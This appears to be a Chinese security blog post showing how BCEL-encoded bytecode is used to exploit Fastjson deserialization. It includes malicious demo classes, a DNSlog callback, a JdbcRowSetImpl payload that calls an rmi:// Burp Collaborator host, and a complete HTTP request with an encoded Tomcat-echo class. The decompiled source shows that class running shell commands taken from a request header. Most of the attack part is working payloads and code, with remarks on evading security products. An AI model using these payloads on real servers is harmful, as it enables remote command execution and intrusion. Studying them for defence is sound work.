浅析Fastjson场景下Java Bcel字节码实践应用
0x00写在前面
本次测试仅供学习使用,如若非法他用,与本平台和发布者无关,需自行负责!
0x01Java Bcel字节码介绍
BCEL全名Byte Code Engineering Library (BCEL),属于Apache Commons项目的一个子项目,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API,是 Apache Software Foundation 的 Jakarta 项目的一部分。BCEL 是 Java classworking 最广泛使用的一种框架,可以深入了解JVM 汇编语言进行类操作的细节。BCEL 与 Javassist 有不同的处理字节码方法,BCEL 在实际的 JVM 指令层次上进行操作 (BCEL 拥有丰富的 JVM 指令级支持) 而 Javassist 所强调的源代码级别的工作。比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel,注意在JDK- 8u251之后的BCEL中没有类加载器。BCEL这个包中有个类com.sun.org.apache.bcel.internal.util.ClassLoader,ClassLoader可重写了Java内置的ClassLoader#loadClass()方法,在ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是将会对这个字符串进行decode。可以理解为是传统字节码的HEX编码,再将反斜线替换成$,默认情况下外层还会加一层GZip压缩。
Java 编译过程是从java语言到java机器语言,如下下图。
bcel源码如下:
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
/* First try: lookup hash table.
*/
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);
break;
}
}
if(cl == null) {
JavaClass clazz = null;
/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}
if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}
if(resolve)
resolveClass(cl);
}
classes.put(class_name, cl);
return cl;
}
通过代码发现会判断类名是否以$$BCEL$$开头,之后调用createClass()方法拿到一个JavaClass对象最终通过defineClass()加载字节码还原类。
1.通过BCEL的demo,加载恶意类运行
package MemoryShell.BCEL;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class BCELDemo {
public static void main(String[] args) throws Exception {
JavaClass cls = Repository.lookupClass(calc.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code);
new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
}
}
2.编写java恶意类有回显运行(本地可见)
package MemoryShell.BCEL;
import java.io.IOException;
public class calc {
static{
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
}
弹出计算器
3.编写java恶意类无回显运行
package MemoryShell.BCEL;
import java.io.IOException;
import java.net.InetAddress;
public class calc {
public static void main(String[] args) {
try {
InetAddress address = InetAddress.getByName("gi6598.dnslog.cn");
boolean reachable = address.isReachable(5000);
System.out.println("Is host reachable? " + reachable);
} catch (IOException e) {
e.printStackTrace();
}
}
}
测试dnslog
以上述场景为例调试分析具体运行过程,在classloader下断点,直接跟到loadClass()方法里,首先是去调用createClass()方法。
在createClass()中,通过subString()截取$$BCEL$$后的字符串,并调用Utility.decode进行相应的解码并最终返回改字节码的bytes数组(decode方法参数uncompress用来标识是否为zip流,当为true时走zip流解码)。之后生成Parser解析器并调用parse()方法进行解析,并生成JavaClass对象。
Utility.decode()源码
/** Decode a string back to a byte array.
*
* @param bytes the byte array to convert
* @param uncompress use gzip to uncompress the stream of bytes
*/
public static byte[] decode(String s, boolean uncompress) throws IOException {
char[] chars = s.toCharArray();
CharArrayReader car = new CharArrayReader(chars);
JavaReader jr = new JavaReader(car);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
int ch;
while((ch = jr.read()) >= 0) {
bos.write(ch);
}
bos.close();
car.close();
jr.close();
byte[] bytes = bos.toByteArray();
if(uncompress) {
GZIPInputStream gis = new GZIPInputStream(new ByteArrayInputStream(bytes));
byte[] tmp = new byte[bytes.length * 3]; // Rough estimate
int count = 0;
int b;
while((b = gis.read()) >= 0)
tmp[count++] = (byte)b;
bytes = new byte[count];
System.arraycopy(tmp, 0, bytes, 0, count);
}
return bytes;
}
最后在newInstance()时初始化触发静态代码块运行。
注:目前bcel字节码已经有编写封装好的jar程序,通过该工具可以快速解码、编码进行转化。
jar bcel工具
将上述测试生存的bcel代码使用该工具进行解码,获得class文件。
$l$8b$I$A$A$A$A$A$A$A$7dT$ebR$d3P$Q$fe$O$zM$hB$81B$c1$Lb$f1Fh$a5ADQ$cbE$8a$a0$9d$v$e0X$86$Z$f1$d7$n$3d$d3$G$d3$a4$93$a6$8e$bc$81$_$e2$f8$h$7f$UGg$7c$A$l$caqO$c2$AJ1$99$ec$e6$ec$ee$d9$ef$db$3d$9b$fc$fa$fd$fd$t$80y$94T$M$e2$5e$iS$wtLK$91M$m$87$fb$KfT$c4$a4$t$_$b5$n$c5$ac$U$PT$cc$e1$a1$82y$V$fdx$a4$e0$b1$82$F$86$d8$a2$e5X$fe2CD$9f$dee$88$ae$b9U$c10P$b6$i$b1$d5n$ec$Lo$87$ef$dbdI$95$5d$93$db$bb$dc$b3$e4$fa$c4$Y$f5$ebV$8ba$ac$bc$v$g$aewX$a9$L$db6$8ak$ebe$83b$cd$C$F4$b8$e50$8c$ea$ef$ca$H$fc$D7l$ee$d4$8c$8a$efYN$ad$m$e1$U$5e$adz$a2E9F$c3$AG$f8F$89$c4jh$a7$U$JOp$b3$k$e2$b1$3dzH$a7$c3$60$cb5J$db$eb$lM$d1$f4$z$d7$91p$dc$abQ$ae$e1$$h$M$fd$V$9f$9b$ef7y3$mO$7d$60P$xn$db3$c5$86$r$93$t$q$e7$bc$dc$a8a$I$v$86$c1$Fo$7e$aem$e6$abN$cbvky$d3Q$f0D$c3S$3c$d3P$c0$a2$82$r$N$cbX$a1$f2$ff$F$x$b6$z$bb$w$3c$oRje$ean$cb$cf$9c$d6$b0$92$d1$f0$i$abR$U5$ac$e1$85$82u$N$hxI$c1$5dj$d2$f0J2Iw$ed$_1$3cC$de$de$3f$Q$a6$cf0$d2$ad$8dT$5cM$f8$c5$c3$z$de$a0B$b3z$97$c3$b8$ac$fd$7dV$eb$cd$d9$BD$f5$d2$f4$de_$b8$95$c3$96$_$g4$3en$db$3f$7f0$af$v$adO$c9$FoP$96$Yo6$85Se$98$b9$i$fbb$Di$e3$b8$be$f7$3fw$dcwC$T$V$ae_$M$y$9c$eb$ea9B4wM$b9$b2i4$d3$dd$I$d1d$O4$c3x$g$99$j$8f$9b$C$93$Y$a0$PN$5e$3d$60r$40H$O$d3$ca$m$cdH$f7f$8f$c1$8e$C$f7$I$c9XhD$9a$a4v$f2$3e$8a1$d2$J$5c$c1$d5$93$cd$9f$R$a1$h$98M$f5$7cC$a4$9c$h$g$fe$d4At$e9$xz$7f$m$f6$f6$YJ$w$deAb$bc$D$b5$83$be$O$b4$_$88$97s$j$q$8f$82$8cS$c8$d2$a7$i$J$f0$s$a0$90$8c$Tn$CI$a8$e4$eb$to$l$fd$R4$a2$98$Mxd$R$r$ff$q$ae$e1$3a$edO$S$8bq$dc$m$be9$b2O$e0f$90s$W$Z$8a$An$d1$a3$a0$e7$40$c1$ed$u9$ee$E$85$dd$fd$Df$n$P7$7e$E$A$A
jar工具解码
class文件如下
0x02Fastjson场景实践应用
FastJson是阿里巴巴的开源库,是一款基于Java的快速JSON解析器/生成器,用于对JSON格式的数据进行解析和打包处理JSON格式数据,用于将 Java 对象序列化为 JSON 格式,也可将字符串反序列化为 Java 对象。
使用方式
//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
Fastjson环境部署,现在已封装为jar程序通过java环境直接启动即可。
启动java封装的jar环境
通过burp工具使用fastjson漏洞识别插件1发现漏洞
常规测试payload
POST /addComment HTTP/1.1
Host: 10.211.55.7
Content-Length: 219
Accept: */*
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://10.211.55.7
Referer: http://10.211.55.7/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: LOGIN_LANG=cn
Connection: close
{"axin":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"is":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://98ffja76cxdqufnumcdt5awvxm3cr1.burpcollaborator.net/TM","autoCommit":true}}
burp 加载jar插件1
漏洞验证,使用burp生成dns测试成功。
通过burp工具使用fastjson漏洞识别插件2发现漏洞
Bcel字节码payload
POST /addComment HTTP/1.1
Host: 10.211.55.7
Content-Length: 5700
Accept: */*
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://10.211.55.7
Referer: http://10.211.55.7/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: LOGIN_LANG=cn
x-forwarded-for: 48.13.132.254
x-originating-ip: 48.13.132.254
x-remote-ip: 48.13.132.254
x-remote-addr: 48.13.132.254
Connection: close
Testecho:308949
{
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$a5Wyx$Ug$Z$ff$cd$5e3$3b$99$90dCB$W$uG$N$b09v$b7$a1$95B$c2$99$90$40J$S$u$hK$97P$db$c9$ec$q$3bd3$Tfg$J$a0$b6$k$d4$D$8fZ$8f$daPO$b4$ae$b7P$eb$s$U9$eaA$b1Z$8fzT$ad$d6zk$f1$f6$8f$da$f6$B$7c$bf$99$N$d9$84$ad$3c$3e$sy$be$f9$be$f7$7b$ef$f7$f7$be3y$fc$e2$p$a7$A$dc$80$7f$89$Q1$m$60P$84$PI$b6h$Cv$f3$Y$e2$91$f2$a3$E$c3$8c$a4$f30x$8c$88t$de$p$c2D$9a$JY$C2$ecr$_$8fQ$B$fb$E$ec$e7q$80$R$5e$c3$e3$b5$ec$f9$3a$R$d5$b8S$c4$5dx$3d$5b$de$m$e2$8dx$T$5b$O$K$b8$5bD7$de$cc$e3$z$ec$fcV$Bo$T$d1$84C$C$de$$$e0$j$3c$de$v$e0$5d$C$ee$R$f0n$k$f7$Kx$P$8f$f7$96$a0$B$efc$cb$fb$F$dc$t$e0$D$C$ee$e71$s$e00$T$bc$93$z$P$I$f8$a0$80$P$J$f8$b0$80$8f$88$f8$u$3e$c6$a8G$E$7c$5c$c0$t$E$3c$u$e0$93$C$b2$3c$3e$c5$e3$d3$o6$e03l$f9$ac$88$cf$e1$f3$o$d6$e3$L$C$be$c8$9eG$d9r$8c$89$3e$c4$7c$fc$S$d3$f4$b0$88$_$p$c7c$9c$83o$b5$a6k$d6Z$O$eeP$dd$z$i$3cmFB$e5P$d6$a5$e9jOf$b8_5$7b$e5$fe$UQ$fc$a3$a6f$a9$adFb$3f$879$a1$ae$dd$f2$5e9$9a$92$f5$c1$e8$d6$fe$dd$aab$b5$f4$b52$f1$d2$98$r$xC$dd$f2$88$zE$89$a4$U$da$b9$k$e2$m$b6$efS$d4$RK3$f44$H$ef$a0ju$90$c0$ca$o$aa$K$u1$cb$d4$f4$c1$96$ba$x$99xLPY8$I$ab$95$94$j$B$8f$e3$94$40$ca$_$r$97$c7$pd$_fdLE$ed$d0$98$fbe$bd$c6$b0$o$5b$edJ$d2$880$5d$Sz$b0$95C$ada$OF$e4$RYI$aa$R$cb$e6$88d$y$z$V$e9$cf$MDZ$f7$5bj$5b2$a3$PI8$81$afH8$89Sd$$$adZ$ec$82B$u$9b$f2$a9$z$r$a7$89$e2$eak$95p$gg$q$3c$8a$afr$u$9f$e94$87$8a$vR$a7n$a9$83$aa$c9$i$f9$g$8f$afK$f8$G$ceJx$M$e78$f0$Jc$H$cb$b6$84o2$3d$8bf$Y$ea1$ac$O$p$a3$t$$$e7$93C$rc$89$e8$9aa$7b$dd$9a$Z$YPM$w$e6$a8$v$8fpX8$r$dfc$c42J$b2$5b$b5$92$c6$94$b8$84$c7$f1$z$O$Lf$b2uhj$aa$90$eb$db8$c7$bc$7d$82R$_$e1$3b$f8$ae$84$ef$e1$fb$94v$JO$e2$H$S$7e$88$l$91$ebV$d2T$e5DZ$c2N$f4$91_$7d$F$95$eb$b5$afZ$q$fc$YO$91s$ea$3eU$91$f0$T$fc$94$f6I$cb$oG$7d$96l$S$$8$E$a6$84$b6gt$ddA$a0$cfJj$e9$da$eb$c8FR$d6$T$v$W$a0o0e$f4$cb$a9$7c$fc$8e$40AV$c4$R$d3P$d4t$da0$a98$b3l$WV$ddh$97$96$b6$q$fc$MO$b3$I$7eN$d07$d5$3d$iJ$c8$f4v5$3dB$f8dx$a7$d3fr$97$99$v$9f$JH$c2A$af$9a$b6TB$93$84_$e0$Zb$t$5c$Q$f6$ad$MY$f2$cb$89$c4$a4$u$cf$f8$94$e1$E$ed$8ctD$97$87$a9$v$7e$v$e1Y$fcJ$c2$afY$g$7c$a3$9a$9e0F$e9$9e$b8$o$94$T$82QT$a1c$b4_$d3$a3$e9$q$j$c3$ca$qpl$efc$8a$ac$ebLw$cd$94$5b$db$9c$40$5b3Z$w$e1$60$ea7$S$7e$8b$df$f1$f8$bd$84$3f$e0$8f$8c$f2$tR$b5k$83$84$e7p$5e$c2$9f$f1$94$84$bf$e0$af$S$b6$p$s$e1o$f8$3b$8f$7fH$f8$tsi$9eb$MG$H$e4$b4$b5$3bm$e8$d1$bd$99Tt$aay$a8$f9$a7$ac$9a$ea$40$8a$60$j$b5$812$zMN$a9g$d4$3f$df$cc$U$db$80a$f6P$w8$y$J$fd$f7f$b7$f1N$S$r$ba$3a$da$a9$a7$zYWHjv$a8$c8$40$m$U$f5$c6$b7$b5S$aa$8a$c8WP57$aaJJ6$d5$84$83$7e$O$eb$8b$d8$ee$bbB$b6$d0$d2d$bc$8e$Gf1$d4$c9$a6$5e$cd$cb$b1Py5$7d$af1D$3e$af$w63$af$q$V$NL$m$ef$f3$p$a62T$y$3d$M$ac$93$W$cb$LB$cd$X$s$7c$95$yO$ab$p$a9$x$r$V$b1$cc$88j$w$8e$d1$aab$f2l$da$T$e87$u$Mx$9a$dd$a1$9e$d0NFv$db$3d$bc$b4H$c0E$a3$xU2$a6$a9$ea$d6$qf$a6W7$3f4$a8$7fI$abs$d8d$g$Z$9a$W$c1$o$7c$f6$VC$Y1$3b$I$9b$ae$ed2$E$F$c5$d0$zYc$af$a2y$85$8e$b6$re3$a6$ee$c9$a8$E$b4$96$ba$9d$USZ$3b$a0$dao$c7N$96$88$ce$a2$n$f0Z$ba$7dx$c4$dao$f3$ed$9c$3e0$f6$d3$9c$Yv$a6$Lu$v$r$95$b1$z$bdJE$$$fbYb$Z$5d$c6$a8j$b6$c9l$uU$87$8a$f4$TK$b9$97Z$c3$b4$98$83$85Z$f2S$a1e$da$7b$tOt$S$da$a9$8fdhnQ$ea$86$d9k$3d$_$ac$Z$d1$82$L$S$af$J$V$bd$60$96$a5LZ$dd$a8$a6$b4az_$d1LZ$f6$f2$81$V$O$_$d6$3b$ba$ba$cfr$b0$9d$7f$a1zBu$7d$ad$O$fa$f2$99$d2$Y$b9$sT$a8$60$ea$86t$cc$$F$t$9d$96$e1$98$c6b$fa$e2$R$c1$7e$3c$e0$d8$x$9f$d6mt$ba$86$9e$i$3d$bd$f5$e3$e0$8e$d1$86$c3$cd$b4$fa$i$o$89$d0T$84$8b$b1r$a3$f4$91$e8$r$ea$8b$B$d7$E$dc$3d$e1$i$3c$dd$e1$80$d7w$S$be$b8$3b$c0$c7$e2$9e$87$m$c4$e2$5e$b6$e6$e0o$f4$9e$84$Yw7$Q$dd$d9$9d$40I$dc$3d$O$89$Il$dbp$8a$ed$89$b3tG$7d$O$b3$Ce$k$5bQ$98$u$e5$f5$k$5b$a2$d1$be$cd$e2P$b3$t$Q$b0m$G$w$3d$93$e6$c8D$d8$937Al$ddWS$d2$fe$ff$x9F$99$A$M$faN$ae$b0$9f$e3$98M$U$96$af$b5$u$a3$b5$83$f2$b6$89$b2$b4$99h$9dt$bf$9d8o$82$85$z8$80$$$dcG$rx$98h$e3$94$fe$e3T$80$d3$94$d5$a7$89$f3$F$f4$d2$_0$H$ee$e7a$f2x$d5$f3$d8$c8$e3$96$L$d8$c0c$H$8f$5b$R$cfW$ad$8e$caA$l$TN9$f0$A$dcv9Vr$b6$d7$U$96$f8$m$aa$c3$N9TugQ$da$ec$a1$C$cd$e9$c9$5ez$ae$f11H$tP$jo$YG$cd$e9FO$O$c1F$S$98$7b$944$96$a2$92$be$e4$ab$f3A$y$87D$eb$O$3a$dd$K$9e$y$95b$X$dd$dfF$f7$afF$Nn$t$ac$dc$81EPP$8b$E$c2$Y$m$feA$db$f1$Kx$$$80$e7$b1$8b$9c$ed$e1q$9b_$wpY$m$e1$3c$d8$dc$s$9dJ$A$d7$cd$ee$96$J$cc$cba$7e$e0$9a$J$y8$83$85$f4$d7$e5$5e3$bf$e1$d4$R$d7$f5$N$f3$97$f7$84$cf$ba$96$90$fb$8b$9a$3dAO$60q$O$d7$kvU$d1$ee$V$b4$hs$95$84$D$b5$q$d6$ec$Nz$l$c5$921$ee$a5$a07$b0$94$I$81el$J$d9WY$I$cd$be$y$f7$y$5d$d5$db$s$g$9a$7d$ee$V$7c$V$l$f4$jG$p$87$p$dc$a9$a0$af$8a$3f$8e$b0$L$cdBP$ID$f2$gY$fd$a3n$aa$3f$d5$3e$e8$a5$8dH$85o$f6$3b$X$d7$e5q$d3$U$b3o$3dyX7$c5$D$cb$c7q$3d$83$c8$Z41$9f$cfb$uH$89$be$e10$94$a0$9fI$be$d2$91tZ$a3$3c$e8$f7$5c$ee$88$K$9cc$7d$c0$e0$e5$b0$ae$f0N$g$89$7b$f2$96$fc$de$Z$96$e2d$c3$W$f1$b4$5c$cd$b3$hgz6$96$f7$ec$de$ff$c1$b3$c0$ca$J$ac$ca$a19$d0$c2$w$80$m$f5$7c$TY$5b$cd$5c$5cC$zO$dedQ$9d$a7$aee$d4u$O$b5Y$M$faO$60$7d$fc$E6$c4$83$e28Zsh$cba$e38$da$D$j9l$caas$O$9d$T$b8$89$e2$m$d7Jl$d7$c6P5w$M$VA$ff$E$b6$e4$d0$e50$Q$c5$97$85$ff$m$cfe$_$ae$9e$3c$b8$b8$ec$85$t$b2$f0la$8d$d9$D$99pYG$f0$earm$a5$a7$83$e9$p$I$d1$w$d0$c9O$cdZ$82$f9$84$f1E$84$ecZ$ccB$3d5$edZ$94S$dbV$90t$r$c9W$93$86$d9$84$ec$wh$84$f8$M$e6$e2$m$e6$e1$k$92$ba$9f$d0$7f$M$L$f0$M$W$e2$3c$Wq$d5X$ccu$e2Zn$L$96p$fb$b0$94$bb$h$cb$b8$a3$Iq$e7Q$e7$aa$40$bd$ab$92$90U$8b$88k9$9a$5c$x$b0$dc$b5$Ks$5d$eb$b0$c2$d5$86$h$5d$j$uqua$jy$b9$c6$b5$8d$feU$ed$b5$bb$ae$fc$o$aa9$k$L$b9K4$t$7c$f6$8e$c7$ed$3c$ee$a0$v$A$da$ca$d4d$b3x$f4s$X$f0$a4$3d$Yv$bc$84C$dby$uuR$c5$L$f0$bd$I$ef$r$g$3fn$5b$Q$f87$bc$ad$q$c3$e6y$82$d4$bb$a0$fe$H$d8$3e$ebc$Z$Q$A$A"}
}: "x"
}
burp 加载jar插件2
获取bcel字节码通过jar工具进行解码。
jar工具解码
查看原class文件
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.fastjson.vul;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
public class TomcatEcho {
public TomcatEcho() {
}
private static void writeBody(Object var0, byte[] var1) throws Exception {
Object var2;
Class var3;
try {
var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
var2 = var3.newInstance();
var3.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var2, var1, new Object[]{new Integer(0), new Integer(var1.length)});
var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
} catch (ClassNotFoundException var5) {
var3 = Class.forName("java.nio.ByteBuffer");
var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1);
var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
} catch (NoSuchMethodException var6) {
var3 = Class.forName("java.nio.ByteBuffer");
var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1);
var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
}
}
private static Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while(var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
static {
try {
boolean var0 = false;
Thread[] var1 = (Thread[])((Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads"));
for(int var2 = 0; var2 < var1.length; ++var2) {
Thread var3 = var1[var2];
if (var3 != null) {
String var4 = var3.getName();
if (!var4.contains("exec") && var4.contains("http")) {
Object var5 = getFV(var3, "target");
if (var5 instanceof Runnable) {
try {
var5 = getFV(getFV(getFV(var5, "this$0"), "handler"), "global");
} catch (Exception var11) {
continue;
}
List var6 = (List)getFV(var5, "processors");
for(int var7 = 0; var7 < var6.size(); ++var7) {
Object var8 = var6.get(var7);
var5 = getFV(var8, "req");
Object var9 = var5.getClass().getMethod("getResponse").invoke(var5);
var4 = (String)var5.getClass().getMethod("getHeader", String.class).invoke(var5, new String("Testecho"));
if (var4 != null && !var4.isEmpty()) {
var9.getClass().getMethod("setStatus", Integer.TYPE).invoke(var9, new Integer(200));
var9.getClass().getMethod("addHeader", String.class, String.class).invoke(var9, new String("Testecho"), var4);
var0 = true;
}
var4 = (String)var5.getClass().getMethod("getHeader", String.class).invoke(var5, new String("Testcmd"));
if (var4 != null && !var4.isEmpty()) {
var9.getClass().getMethod("setStatus", Integer.TYPE).invoke(var9, new Integer(200));
String[] var10 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var4} : new String[]{"/bin/sh", "-c", var4};
writeBody(var9, (new Scanner((new ProcessBuilder(var10)).start().getInputStream())).useDelimiter("\\A").next().getBytes());
var0 = true;
}
if ((var4 == null || var4.isEmpty()) && var0) {
writeBody(var9, System.getProperties().toString().getBytes());
}
if (var0) {
break;
}
}
if (var0) {
break;
}
}
}
}
}
} catch (Exception var12) {
}
}
}
解码后的源代码
通过代码发现可以构造有回显RCE
执行whoami
执行net user
0x03总结思考
BCEL字节码是java的功能之一,在攻防对抗中经常有攻击者通过构造bcel代码进行注入内存马、远程命令执行等攻击,该过程由于将部分代码进行编码导致有些检测特征不可见,从也可以达到绕过安全产品的检测。同时编码后的内容相比正常情况增加了很多,相当于垃圾数据填充绕过检测的场景。
由此可见bcel在实践应用中要注意其使用场景,从攻击角度对可能存在的威胁进行有效应对。